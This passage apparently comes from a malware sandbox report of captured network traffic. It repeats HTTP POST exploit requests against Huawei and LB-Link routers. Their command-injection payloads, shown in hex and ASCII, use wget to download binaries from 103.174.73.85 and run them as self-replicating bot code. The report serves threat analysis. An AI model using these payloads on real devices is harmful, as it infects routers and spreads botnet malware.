2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
